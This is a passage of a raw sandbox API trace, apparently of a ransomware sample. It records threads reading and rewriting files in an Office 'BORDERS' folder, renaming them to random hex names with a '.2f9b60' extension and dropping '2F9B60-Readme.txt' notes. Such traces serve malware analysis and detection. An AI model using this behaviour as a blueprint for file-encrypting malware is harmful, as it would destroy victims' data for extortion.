0x1df8eba9 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x130f9e5c [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x450a22f2 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x587d9ec5 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x62cefdd3 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x67b2bad8 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x2bf034df [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x561ec040 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0xd9ff287 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x7e6b96cc [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x5146697b [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x3be51f29 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x60a28e6 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x69e3740f [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x204f1cd7 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x5f0b4a0e [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x5e942003 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x443014c7 [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x4f1f203e [0120.810] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x2331da6c [0120.811] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x6aaba320 [0120.811] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x314710ae [0120.811] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x5430c6a5 [0120.811] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x4ef53890 [0120.811] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x7103e79c [0120.811] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x392799dd [0120.811] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x65892f72 [0120.811] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x710fbae5 [0120.811] RtlRandomEx (in: Seed=0x40adf730 | out: Seed=0x40adf730) returned 0x647f6ddd [0120.817] ReadFile (in: hFile=0x1848, lpBuffer=0x1ce95a30, nNumberOfBytesToRead=0x244c, lpNumberOfBytesRead=0x40adf730, lpOverlapped=0x0 | out: lpBuffer=0x1ce95a30*, lpNumberOfBytesRead=0x40adf730*=0x244c, lpOverlapped=0x0) returned 1 [0121.512] SetFilePointerEx (in: hFile=0x1848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.512] WriteFile (in: hFile=0x1848, lpBuffer=0x1ce99640*, nNumberOfBytesToWrite=0x244c, lpNumberOfBytesWritten=0x40adf734, lpOverlapped=0x0 | out: lpBuffer=0x1ce99640*, lpNumberOfBytesWritten=0x40adf734*=0x244c, lpOverlapped=0x0) returned 1 [0122.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eb00 [0122.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eb30 [0122.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eb30) returned 1 [0122.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce99640) returned 1 [0122.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce95a30) returned 1 [0122.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503a10) returned 1 [0122.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0122.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x2050eb30 [0122.756] SetFilePointerEx (in: hFile=0x1848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.756] WriteFile (in: hFile=0x1848, lpBuffer=0x169a20*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x40adf850, lpOverlapped=0x0 | out: lpBuffer=0x169a20*, lpNumberOfBytesWritten=0x40adf850*=0x108, lpOverlapped=0x0) returned 1 [0122.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6920 [0122.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6920) returned 1 [0122.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b7d5a50 [0122.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6920 [0122.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a10 [0122.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6a10) returned 1 [0122.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cda0670 [0122.990] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="de") returned 2 [0122.990] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="09") returned 2 [0122.990] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="47") returned 2 [0122.990] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="e6") returned 2 [0122.990] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="39") returned 2 [0122.990] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="93") returned 2 [0122.990] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="17") returned 2 [0122.990] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="63") returned 2 [0122.990] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="02") returned 2 [0122.990] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="0d") returned 2 [0122.990] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="00") returned 2 [0122.990] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="12") returned 2 [0122.990] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="ce") returned 2 [0122.990] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="a4") returned 2 [0122.990] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="40") returned 2 [0122.994] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="e4") returned 2 [0122.994] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="b7") returned 2 [0122.995] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="93") returned 2 [0122.995] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="f6") returned 2 [0122.995] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="97") returned 2 [0122.995] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="98") returned 2 [0122.995] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="98") returned 2 [0122.995] RtlInitAnsiString (in: DestinationString=0x40adf8c8, SourceString="de0947e639931763020d0012cea440e4b793f6979898" | out: DestinationString="de0947e639931763020d0012cea440e4b793f6979898") [0122.995] RtlAnsiStringToUnicodeString (in: DestinationString=0x40adf898, SourceString="de0947e639931763020d0012cea440e4b793f6979898", AllocateDestinationString=1 | out: DestinationString="de0947e639931763020d0012cea440e4b793f6979898") returned 0x0 [0122.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced8c90 [0122.995] wcscat (in: _Dest=0x202b0830, _Source="de0947e6399" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\de0947e6399") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\de0947e6399" [0122.995] wcscat (in: _Dest=0x202b0830, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\de0947e6399.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\de0947e6399.2f9b60" [0122.995] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\de0947e6399.2f9b60", NtPathName=0x40adf870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\de0947e6399.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1067c0 [0123.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1067c0) returned 1 [0123.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd460) returned 1 [0123.086] NtQueryInformationFile (in: FileHandle=0x1848, IoStatusBlock=0x40adf8d8, FileInformation=0x40adf8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x40adf8d8, FileInformation=0x40adf8e8) returned 0x0 [0123.086] NtSetInformationFile (FileHandle=0x1848, IoStatusBlock=0x40adf8d8, FileInformation=0x40adf8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0830) returned 1 [0123.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8c90) returned 1 [0123.101] FlushFileBuffers (hFile=0x1848) returned 1 [0123.105] CloseHandle (hObject=0x1848) returned 1 [0123.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b0a10 [0123.114] wcscpy (in: _Dest=0x202b0a10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0123.114] wcscat (in: _Dest=0x202b0a10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0123.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0xffffffff [0123.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0123.128] WriteFile (in: hFile=0x10b4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x40adf790, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x40adf790*=0xba9, lpOverlapped=0x0) returned 1 [0123.134] CloseHandle (hObject=0x10b4) returned 1 [0123.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0a10) returned 1 [0123.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bd90) returned 1 Thread: id = 1460 os_tid = 0x1924 [0120.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr")) returned 0x20 [0121.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR", dwFileAttributes=0x20) returned 1 [0121.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdec [0121.252] GetFileSizeEx (in: hFile=0xdec, lpFileSize=0x412ef780 | out: lpFileSize=0x412ef780*=30920) returned 1 [0121.252] SetFilePointerEx (in: hFile=0xdec, liDistanceToMove=0x78c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.253] ReadFile (in: hFile=0xdec, lpBuffer=0x412ef700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x412ef748, lpOverlapped=0x0 | out: lpBuffer=0x412ef700*, lpNumberOfBytesRead=0x412ef748*=0x4, lpOverlapped=0x0) returned 1 [0121.512] SetFilePointerEx (in: hFile=0xdec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0121.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78f0 [0121.513] NtQuerySystemTime (in: CurrentTime=0x412ef640 | out: CurrentTime=0x412ef640*=132462177269134000) returned 0x0 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x7c589524 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x37b47635 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x1129f166 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x76475e6 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x3c0f713d [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x4dffc44d [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x659ddbae [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x56b0efbf [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x3c23c245 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x3a49bc96 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x51433dfa [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0xd610aab [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x541d1962 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x6aec534a [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x6ed18489 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x5336b9db [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x649de231 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x5ee1f05a [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x4bc8a885 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x57d24afe [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x2633579b [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x5a527b1e [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x250573c8 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x6f38f1a0 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x6005d89c [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x74d424d8 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x5336b9db [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x1d41e3e8 [0121.513] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x48417ffa [0121.514] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x487bc2f [0121.514] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x1a3d6296 [0121.514] RtlRandomEx (in: Seed=0x412ef630 | out: Seed=0x412ef630) returned 0x5abe4f3d [0124.475] SetFilePointerEx (in: hFile=0xdec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.475] ReadFile (in: hFile=0xdec, lpBuffer=0x41b8c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x412ef6a0, lpOverlapped=0x0 | out: lpBuffer=0x41b8c1b0*, lpNumberOfBytesRead=0x412ef6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0124.797] SetFilePointerEx (in: hFile=0xdec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6560 [0124.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6560) returned 1 [0124.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b75950 [0124.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6560 [0124.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a300 [0124.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a300) returned 1 [0124.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.855] WriteFile (in: hFile=0xdec, lpBuffer=0x41b75950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x412ef6a0, lpOverlapped=0x0 | out: lpBuffer=0x41b75950*, lpNumberOfBytesWritten=0x412ef6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0166.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b75950) returned 1 [0166.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b8c1b0) returned 1 [0166.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a1b20 [0166.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0166.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061030 [0166.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1b50 [0166.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1b50) returned 1 [0166.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x423a1b50 [0166.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1bb0 [0166.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1b80 [0166.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1b80) returned 1 [0166.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061030) returned 1 [0166.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0166.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c16800 [0166.155] SetFilePointerEx (in: hFile=0xdec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0166.155] WriteFile (in: hFile=0xdec, lpBuffer=0x42c16800*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x412ef750, lpOverlapped=0x0 | out: lpBuffer=0x42c16800*, lpNumberOfBytesWritten=0x412ef750*=0x108, lpOverlapped=0x0) returned 1 [0207.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0207.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebac60 [0207.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0207.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0207.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0xd6360 [0207.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0207.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85b0 [0207.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85b0) returned 1 [0207.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebac60) returned 1 [0207.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0207.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431ac720 [0207.570] sprintf (in: _Dest=0x431ac720, _Format="%c%c" | out: _Dest="04") returned 2 [0207.570] sprintf (in: _Dest=0x431ac722, _Format="%c%c" | out: _Dest="29") returned 2 [0207.570] sprintf (in: _Dest=0x431ac724, _Format="%c%c" | out: _Dest="6a") returned 2 [0207.570] sprintf (in: _Dest=0x431ac726, _Format="%c%c" | out: _Dest="af") returned 2 [0207.570] sprintf (in: _Dest=0x431ac728, _Format="%c%c" | out: _Dest="3e") returned 2 [0207.570] sprintf (in: _Dest=0x431ac72a, _Format="%c%c" | out: _Dest="de") returned 2 [0207.570] sprintf (in: _Dest=0x431ac72c, _Format="%c%c" | out: _Dest="c0") returned 2 [0207.570] sprintf (in: _Dest=0x431ac72e, _Format="%c%c" | out: _Dest="42") returned 2 [0207.571] sprintf (in: _Dest=0x431ac730, _Format="%c%c" | out: _Dest="f0") returned 2 [0207.571] sprintf (in: _Dest=0x431ac732, _Format="%c%c" | out: _Dest="0a") returned 2 [0207.571] sprintf (in: _Dest=0x431ac734, _Format="%c%c" | out: _Dest="0a") returned 2 [0207.571] sprintf (in: _Dest=0x431ac736, _Format="%c%c" | out: _Dest="ba") returned 2 [0207.571] sprintf (in: _Dest=0x431ac738, _Format="%c%c" | out: _Dest="62") returned 2 [0207.571] sprintf (in: _Dest=0x431ac73a, _Format="%c%c" | out: _Dest="36") returned 2 [0207.571] sprintf (in: _Dest=0x431ac73c, _Format="%c%c" | out: _Dest="b3") returned 2 [0207.571] sprintf (in: _Dest=0x431ac73e, _Format="%c%c" | out: _Dest="4b") returned 2 [0207.571] sprintf (in: _Dest=0x431ac740, _Format="%c%c" | out: _Dest="8d") returned 2 [0207.571] sprintf (in: _Dest=0x431ac742, _Format="%c%c" | out: _Dest="bf") returned 2 [0207.571] sprintf (in: _Dest=0x431ac744, _Format="%c%c" | out: _Dest="9d") returned 2 [0207.571] sprintf (in: _Dest=0x431ac746, _Format="%c%c" | out: _Dest="e1") returned 2 [0207.571] sprintf (in: _Dest=0x431ac748, _Format="%c%c" | out: _Dest="85") returned 2 [0207.571] sprintf (in: _Dest=0x431ac74a, _Format="%c%c" | out: _Dest="79") returned 2 [0207.571] RtlInitAnsiString (in: DestinationString=0x412ef7c8, SourceString="04296aaf3edec042f00a0aba6236b34b8dbf9de18579" | out: DestinationString="04296aaf3edec042f00a0aba6236b34b8dbf9de18579") [0207.571] RtlAnsiStringToUnicodeString (in: DestinationString=0x412ef798, SourceString="04296aaf3edec042f00a0aba6236b34b8dbf9de18579", AllocateDestinationString=1 | out: DestinationString="04296aaf3edec042f00a0aba6236b34b8dbf9de18579") returned 0x0 [0207.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430e9280 [0207.572] wcscat (in: _Dest=0x431c8860, _Source="04296aaf3ed" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\04296aaf3ed") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\04296aaf3ed" [0207.572] wcscat (in: _Dest=0x431c8860, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\04296aaf3ed.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\04296aaf3ed.2f9b60" [0207.572] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\04296aaf3ed.2f9b60", NtPathName=0x412ef770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\04296aaf3ed.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x43129da0 [0225.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43129da0) returned 1 [0225.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a2db0) returned 1 [0225.864] NtQueryInformationFile (in: FileHandle=0xdec, IoStatusBlock=0x412ef7d8, FileInformation=0x412ef7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x412ef7d8, FileInformation=0x412ef7e8) returned 0x0 [0225.864] NtSetInformationFile (FileHandle=0xdec, IoStatusBlock=0x412ef7d8, FileInformation=0x412ef7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0229.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c8860) returned 1 [0229.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e9280) returned 1 [0229.639] FlushFileBuffers (hFile=0xdec) returned 1 [0234.358] CloseHandle (hObject=0xdec) returned 1 [0239.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4319c9a0 [0239.468] wcscpy (in: _Dest=0x4319c9a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\" [0239.468] wcscat (in: _Dest=0x4319c9a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" [0239.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\2f9b60-readme.txt")) returned 0x20 [0239.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319c9a0) returned 1 [0239.469] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bbe0) returned 1 Thread: id = 1461 os_tid = 0x1928 [0120.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 